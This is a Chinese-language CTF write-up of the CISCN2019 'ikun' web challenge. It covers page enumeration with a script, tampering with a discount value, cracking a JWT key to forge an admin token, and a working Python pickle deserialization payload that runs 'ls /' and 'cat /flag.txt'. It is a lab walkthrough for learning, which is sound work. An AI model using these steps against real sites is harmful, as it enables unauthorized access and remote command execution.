CISCN2019 华北赛区 Day1 Web2ikun

首先有个提示要买到lv6 写脚本跑一下

86.PNG

1
2
3
4
5
6
7
8
9
import requests
url="http://11567a81-35e3-46e0-ba53-717f767dec32.node4.buuoj.cn/shop?page="

for i in range(0,2000):

​ r=requests.get(url+str(i))
​ if 'lv6.png' in r.text:
​ print (i)
​ break

在第181页 lv6

价格太贵了买不起抓包改包 改discoount的值

87.PNG

到达新世界但是要admin权限 然后就不会了 ╮(╯▽╰)╭

88.PNG

看别的大佬的文章 需要伪造jwt 那么什么是jwt

https://www.cnblogs.com/cjsblog/p/9277677.html

https://jwt.io/ 用来查看jwt包含的信息 jwt的官网
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMyJ9.t_quUTD2cAx9tGvCi1tmfSmgP_z_hr2N8lx_Ij5bh78

需要将username改为admin 但是后面的部分需要破解key sha256的加密算法
得破解一下 工具:https://github.com/brendan-rius/c-jwt-cracker

90.PNG

生成一下新的jwt

91.PNG

92.PNG

成功进入新页面查看源码发现新的页面然后页面的源码可以下载下来了

93.PNG

题目这边提示pickle

1
2
3
pickle或cPickle,作用和PHP的serialize与unserialize一样,两者只是实现的语言不同
pickle是python语言的一个标准模块,实现了基本的数据序列化和反序列化。
pickle模块是以二进制的形式序列化后保存到文件中(保存文件的后缀为.pkl),不能直接打开进行预览。
1
2
3
4
5
6
7
8
9
#序列化
pickle.dump(obj, file, protocol=None,)
obj表示要进行封装的对象(必填参数)
file表示obj要写入的文件对象
以二进制可写模式打开即wb(必填参数)
#反序列化
pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)
file文件中读取封存后的对象
以二进制可读模式打开即rb(必填参数)

讲解pickle反序列化漏洞的文章https://blog.csdn.net/qq_43431158/article/details/108919605

1
2
3
setting.py那边有个hint 一串Unicode 解码一下

这网站不仅可以以薅羊毛,我还留了个后门,就藏在lv6里

刚才lv6购买后那边提示要admin权限那可能在一个叫做admin的文件里面
admin.py 里面发现了pickle

94.PNG

1
self.render('form.html', res=p, member=1) 

意思是找到模板文件进行渲染然后显示画面
看一下form.html

95.PNG

传入可以直接回显并将自定义的类进行序列化和反序列化,存在pickle反序列化漏洞,可以构造一个pickle.dumps序列化payload,从而被解析读取东西
payload构造使用_ ruduce _(self)需要先获取flag的位置后进行读取
os.system 调用系统命令完成后退出返回结果是命令行执行状态一般是0
os.popen() 无法进行读取程序执行的返回值
这俩只能print输出是才有回显,以return返回没有回显
使用commands.getoutput()这个函数来进行代替

1
2
3
4
5
6
7
8
9
10
11
12
# coding=utf8

import pickle
import urllib
import commands

class payload(object):
def __reduce__(self):
return (commands.getoutput,('ls /',))

a = payload()
print urllib.quote(pickle.dumps(a))

跑得ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.
然后发包

flag在flag.txt
(‘ls /‘,)->(‘cat /flag.txt’)
就好了